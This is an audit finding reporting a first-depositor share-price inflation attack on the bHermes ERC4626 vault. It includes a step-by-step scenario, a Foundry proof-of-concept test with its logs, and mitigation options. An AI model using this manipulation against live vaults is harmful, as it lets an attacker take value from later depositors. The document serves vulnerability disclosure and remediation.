# Medium Severity
## Title
bHermes vault is succeptible to first depositor price share manipulation

## Solodit Resources
- [Underlying assets stealing in AutoPxGmx and AutoPxGlp via share price manipulation](https://solodit.xyz/issues/6036)

## Impact
- First depositor can manipulate the price of the shares at will, forcing new depositors to pay more Hermes for the same amount of shares that the first depositor paid

## Proof of Concept
ERC4626 vaults are subject to a share price manipulation attack.
Consider this scenario:
1. Alice is the first depositor of the bHermes vault;
2. Alice deposits 1 wei of hermes tokens;
3. since Alice is the first depositor (totalSupply is 0), she gets 1 share (1 wei);
4. Alice then sends 9999999999999999999 hermes tokens (10e18 - 1) to the vault;
the price of 1 share is 10 hermes tokens now: Alice is the only depositor in the vault, she's holding 1 wei of shares, and the balance of the pool is 10 hermes tokens;
5. Bob deposits 19 hermes tokens and gets only 1 share due to the rounding in the convertToShares function: 19e18 * 1 / 10e18 == 1;

**PoC to demonstrate how the price manipulation attack is performed on the bHermes vault**
- Used the test file `test/hermes/bHermesTest.t.sol` file as the base for this PoC
  - Make sure to add the below lines that are required to use the Fondry Cheatcodes
```solidity
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.8.0;
... //imports
+ import "forge-std/Test.sol";
contract bHermesTest is DSTestPlus {
+   Vm vm = Vm(HEVM_ADDRESS);
...
...
}

```

  - The below function is the PoC itself:
```solidity
function testPriceManipulationbHermesPoC() public {

    //@note hermes is the underlying token
    //@note bHermes is the vault (ERC4626DepositOnly)

    address alice = address(0x31337);
    address bob = address(0x12345);

    vm.label(alice, "Alice");
    vm.label(bob, "Bob");


    hermes.mint(alice, 10e18);
    hermes.mint(bob, 19e18);

    vm.startPrank(alice);
    hermes.approve(address(bHermes), 1);
    // Alice deposits 1 wei of hermes and gets 1 wei of shares.
    uint256 aliceShareAmount = bHermes.deposit(1, alice);
    vm.stopPrank();

    assertEq(bHermes.previewDeposit(1), aliceShareAmount);
    assertEq(bHermes.convertToAssets(bHermes.balanceOf(alice)), 1);

    vm.startPrank(alice);
    // Alice sends 10e18-1 of hermes and sets the price of 1 wei of shares to 10e18 hermes.
    hermes.transfer(address(bHermes), 10e18-1);
    vm.stopPrank();


    vm.startPrank(bob);
    hermes.approve(address(bHermes), 19e18);
    // Bob deposits 19e18 of hermes and gets 1 wei of shares due to rounding and the price manipulation.
    uint256 bobShareAmount = bHermes.deposit(19e18, bob);
    vm.stopPrank(); 

    assertEq(bHermes.previewDeposit(19e18), bobShareAmount);
    // assertEq(bHermes.convertToAssets(bHermes.balanceOf(bob)), 19e18);

    assertEq(bHermes.convertToAssets(bHermes.balanceOf(alice)), 14.5e18);
    assertEq(bHermes.convertToAssets(bHermes.balanceOf(bob)), 14.5e18);

    //Alice got 1 wei of shares for 10e18 hermes
    //Bob got 1 wei of shares for 19e18 hermes

}
```

- The result of the PoC is:
  - Alice got 1 wei of shares for 10e18 hermes
  - Bob got 1 wei of shares for 19e18 hermes

    - From the logs of running the PoC:
      - Alice spends 10e18 hermes and got 1 wei of shares
        - ```emit Deposit(caller: Alice: [0x0000000000000000000000000000000000031337], owner: Alice: [0x0000000000000000000000000000000000031337], assets: 1, shares: 1)```
        - ```emit Transfer(from: Alice: [0x0000000000000000000000000000000000031337], to: bHermes: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], amount: 9999999999999999999)```
      - Bob spends 19e18 hermes and got 1 wei of shares
        - ```emit Deposit(caller: Bob: [0x0000000000000000000000000000000000012345], owner: Bob: [0x0000000000000000000000000000000000012345], assets: 19000000000000000000, shares: 1)```

## Tools Used
Manual Audit

## Recommended Mitigation Steps
Consider either of these options:
- In the deposit function, consider requiring a reasonably high minimal amount of assets during first deposit. The amount needs to be high enough to mint many shares to reduce the rounding error and low enough to be affordable to users.
- Consider seeding the pools during deployment. This needs to be done in the deployment transactions to avoiding front-running attacks. The amount needs to be high enough to reduce the rounding error.
- Consider sending first 1000 wei of shares to the zero address. This will significantly increase the cost of the attack by forcing an attacker to pay 1000 times of the share price they want to set. For a well-intended user, 1000 wei of shares is a negligible amount that won't diminish their share significantly. 